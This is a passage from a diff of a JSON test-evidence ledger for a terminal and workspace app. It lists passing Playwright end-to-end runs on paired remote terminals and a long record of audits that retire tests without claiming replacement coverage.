"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 33.9, - "summary": "The isolated headless `orca serve` host passed the same six-worktree real-title transport/store bound, parking, and exact-restoration oracle; a second scenario proved cold activation mounted only the visible paired terminal.", - "currentCommand": "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - }, - { - "date": "2026-08-07", - "runner": "local", - "platform": "macos", - "command": "ORCA_E2E_FORWARD_APP_LOGS=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --repeat-each=10 --max-failures=1", - "result": "passed", - "durationSeconds": 126, - "summary": "Ten consecutive isolated host-relaunch journeys preserved the daemon and PTY identities and resumed terminal input plus live output after the paired transport recovered.", - "currentCommand": "ORCA_E2E_FORWARD_APP_LOGS=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --repeat-each=10 --max-failures=1" - }, - { - "date": "2026-08-07", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 12.5, - "summary": "With the parking override captured by both host launches, the isolated headed host and separate paired desktop client retained the daemon PID and PTY ID across host relaunch, emitted one target foreground transition, and delivered target plus post-relaunch control input/output. The byte-identical run with only the unknown-state fix reverted failed at the missing target foreground transition.", - "currentCommand": "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - }, - { - "date": "2026-08-02", - "runner": "local", - "platform": "macos", - "command": "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "result": "passed", - "durationSeconds": 13.7, - "summary": "The isolated headed desktop host and encrypted paired web client kept hidden renderer work bounded, ordinary-parked five of six real PTYs, restored the authoritative tail once, preserved PTY identity, and resumed live input/output.", - "currentCommand": "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1" - }, - { - "date": "2026-08-02", - "runner": "local", - "platform": "macos", - "command": "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 31.4, - "summary": "Both isolated headless `orca serve` scenarios passed: ordinary parking restored authoritative history and cold activation mounted only the visible paired terminal.", - "currentCommand": "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - }, - { - "date": "2026-07-30", - "runner": "local", - "platform": "macos", - "command": "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-probe-gap-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "result": "passed", - "durationSeconds": 17.3, - "summary": "The headed paired oracle dropped and acknowledged output only for the original client stream, proved the fixture consumed input while the host model advanced and the client stayed stale, then replaced the stream, repainted exact fixture output, preserved authoritative PTY identity and target-tab cardinality, and resumed live I/O.", - "currentCommand": "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-probe-gap-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1" - }, - { - "date": "2026-07-29", - "runner": "local", - "platform": "macos", - "command": "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "result": "passed", - "durationSeconds": 11.4, - "summary": "The headed paired-server scenario painted a truncated retained history after reload; the capability-disabled legacy fallback scenario is skipped unless explicitly selected.", - "currentCommand": "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1" - }, - { - "date": "2026-07-29", - "runner": "local", - "platform": "macos", - "command": "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-stall-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "result": "passed", - "durationSeconds": 18, - "summary": "The byte-identical headed oracle exhausted one paired stream, proved host/client divergence, then repainted the marker while preserving the original PTY and tab.", - "currentCommand": "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-stall-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1" - }, - { - "date": "2026-07-29", - "runner": "local", - "platform": "macos", - "command": "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "result": "passed", - "durationSeconds": 14.5, - "summary": "Six real paired worktrees and host PTYs ordinary-parked five client xterms with the lossy budget disabled, released at least 55% of staged cells within heap and timer-lag budgets, then restored requested row 4,000, parked-time output, and live I/O on the original PTY while every target terminal remained unmounted in the host renderer.", - "currentCommand": "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1" - }, - { - "date": "2026-07-29", - "runner": "local", - "platform": "macos", - "command": "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-stall-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "result": "passed", - "durationSeconds": 14.4, - "summary": "An isolated `orca serve` host and paired web renderer exhausted one terminal stream, recovered it, and preserved the original PTY and tab without exposing readiness or pairing material.", - "currentCommand": "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-stall-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1" - }, - { - "date": "2026-07-30", - "runner": "local", - "platform": "macos", - "command": "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 23, - "summary": "The isolated headless `orca serve` host passed ordinary parking plus cold activation: deferred tabs stayed unmounted until activation, preserved PTY identity and parked output, and resumed live input.", - "currentCommand": "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - }, - { - "date": "2026-07-29", - "runner": "local", - "platform": "macos", - "command": "ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_DISABLE_PAIRED_TERMINAL_PARKING=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "result": "passed", - "durationSeconds": 18.6, - "summary": "A host without terminal.paired-parking.v1 preserved the existing lossy limit-one fallback, restored retained output, and continued PTY input/output.", - "currentCommand": "ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_DISABLE_PAIRED_TERMINAL_PARKING=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1" - }, - { - "date": "2026-07-30", - "runner": "local", - "platform": "macos", - "command": "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "result": "passed", - "durationSeconds": 17.5, - "summary": "The headed six-PTY oracle kept all warm-mounted hidden streams at zero renderer scheduler enqueues/drains under sustained output and under 500 ms timer lag, then restored the authoritative flood tail and parked/live markers exactly once.", - "currentCommand": "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1" - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Runtime layout cleanup intentionally retires the removed compatibility callbacks and wholly removed fragments without replacement coverage. The compatibility entrypoint retains only its surviving registration scope. Existing independent dated receipts remain at their original commands and scopes; no fresh runtime, native, remote or platform execution is claimed. Prior account preserved verbatim: Audit5922 intentionally retires mixed split/agent parking eligibility classification; incorrect eligibility can unmount a still-needed terminal or hide resume, though the retired predicate suite never mounts or resumes the actual view. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5879 retires the entire cold-parking hook suite and its stale exemption/park-set and unnecessary recomputation alarms. Remaining selectors are not equivalent replacement coverage; unchanged independent dated receipts retain their original scope and do not validate reduced commands. Historical prior account preserved verbatim: Audit5772 companion to audit5768: Retire the whole hidden-view parking policy suite. Direct oldest/cap/TTL/last-active worktree ranking and equal-hidden-time tab activation-order alarms are intentionally lost without equivalent replacement. Narrow one compound unit command and remove the parking testFiles entry. Physical parking/restoration/stream-budget selectors and assertions remain unchanged at their own exact scope; they are not certified as replacements. Complete dated evidenceRuns and unrelated selectors/assertions are unchanged; none selects these retired suites and none validates the narrowed command. No fresh execution, current import reachability, replacement coverage or native/platform/remote result is claimed. Complete prior account preserved verbatim below as historical, including any older then-retained coverage claim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed. Historical prior account (preserved verbatim): Audit3814 deliberately retires60 authored/60 finite cases:53runtime compatibility cases,4native XCTest methods and3Python clipboard methods, including the entire StableElementIndexes suite. Clipboard cuts retire the one-over-cap sample, incoming-offer destruction trace and sequential20-copy replay; actual wire, FD/pipe, startup and Xvfb/GTK boundaries remain without equivalent replacement claims. Accepted losses include narrow terminal-send payload/provider projections, legacy and direct no-op/error permutations, timing/work-count examples, private state/title/activity projections and fixture-driven readiness examples, individually enumerated below. These include real bounded production alarms consciously retired for marginal value; retained failed writes, duplicate submission, stale capture, transcript/ring and allocation fences are not equivalent replacements. No fresh native/remote/browser execution or complete transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3806 deliberately retires40 authored/40 finite runtime compatibility cases, including the terminal-side-effect-facts-part03 headless-snapshots-part02 and agent-status-and-waits-part03 fragments, plus20 scalar Swift precondition sites. Lost runtime alarms include status/title/attention projection examples, simple renderer/headless frame restoration and status waiting outcomes detailed in the accepted-loss ledger. Swift cuts retire duplicate generation-map/schema/navigation/bridge and notification-wrapper assertions; no standalone native program is deleted. These include real bounded production alarms consciously retired for marginal value. Retained races, pending writes/reflow, namespace and waiter ownership are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3798 deliberately retires21 authored/24 finite compatibility cases, including the entire SSH-worktree-lifecycle and repository-project-operations fragments. Accepted losses include navigation-only settings acknowledgement, browser session cleanup and host preservation projections, window positive/policy-state examples, terminal recovery/reload and no-incarnation remint examples, terminal listing compatibility/malformed IDs, directory browse/sort/Windows path smoke, SSH create refusal/manual lineage, recursive parent-folder creation and fork/origin/avatar/icon projections. Real bounded production alarms are consciously retired for marginal value; retained authority races, cleanup/clone ownership, pending waiters, nested-folder and scan invalidation cases are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3580: Retire the whole one-case runtime host environment prototype/subclass suite. Intentionally lose the exact configured lower-case Windows Claude home to account-identity normalization and host-account override precedence alarm previously retained by Audit3129. No equivalent replacement or fresh runtime validation is claimed. Earlier dated keep statements below describe their historical source scope; the current suite is removed. Audit3563 scope: retire the whole Kiro OSC/hook identity suite and the OpenCode2 identity-only case; reduce Codex cached startup child-retirement and missing-session-ID tables to one case each (2 authored/4 finite removals). Intentionally lose Kiro alias/session continuity, OpenCode2 completed OSC identity continuity, cached replacement without relay-generation restart, and missing-previous-ID context-preservation alarms. Remaining provider, remote compatibility, persistence and cross-session pollution cases are not equivalent replacements. Also remove the private Codex roster-size assertion while retaining public child-absence checks. Historical evidence retains its original source scope; no new execution or transferred pass validates these reductions. Audit3446 composes ROOT-adopted3441/independent3442: intentionally removes100 authored registrations/119 potential expanded cases (118 conditional-active before platform gates) across16 sources, retaining11 authored/13 expanded cases and deleting6 whole suites. Two parent registrar import/call cleanups and the unused68line CLI recording fixture carry zero test credit. No equivalent replacement or fresh execution is claimed. The decorative fanout suite retains only real OSC9999 ingestion through runtime/title heartbeat/viewer past the stale boundary, preserving stateStartedAt and clearing expired prompt metadata. Spinner volume/zero-work inventories, Pi/Grok frame tables, rich-status and foreground-reset examples are retired. Existing receipts for separate paired-terminal sources retain their original scopes. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3342 removes three supplied activation/inventory fallback and same-handle retry examples; their fallback/retry alarms are intentionally lost without equivalent replacement. The exact mounted-HUB pending old-stream-end versus replacement-snapshot registration and its assertion remain. Unrelated dated macOS receipts retain only their original scope; no fresh runtime, provider, performance, mobile, mixed-version or cross-platform validation is claimed. Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: restarts only the stream whose renderer delivery credit never settles — An unreturned renderer delivery credit stalls only its stream, leaving healthy sibling/shared transport alive. Fake-clock deadline plus real multiplexer unsubscribe isolates recovery ownership.; probes then restarts a stream when an entered command receives no frames — Entered command produces no output; actual multiplexer must probe then close only its stalled stream after probe timeout. Distinct response liveness from parser credit.; establishes a probe baseline before recovering an unsequenced stream — 142-line manual five-probe baseline/regression sequence derives request IDs from encoded mock traffic and checks repeated no-close/close choreography. Oversized algorithm/state-machine example; no actual renderer/host command or recovery delivery. Retires unsequenced/unchanged/regressed baseline classification alarms.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit 3318 reduces remote-runtime-pty-transport-unpublished-host-graph.test.ts, retiring its direct published-empty-graph omission-to-pane-exit alarm. The unchanged bounded unpublished-frame/pushed-recovery and stale-handle park/manual-retry cases are narrower, not equivalent replacements. Both complete three-case Linux receipts dated 2026-11-04 are archived as historical, including source heads; they do not validate this reduced selector. Remaining fourteen active receipts are macOS only. No fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen 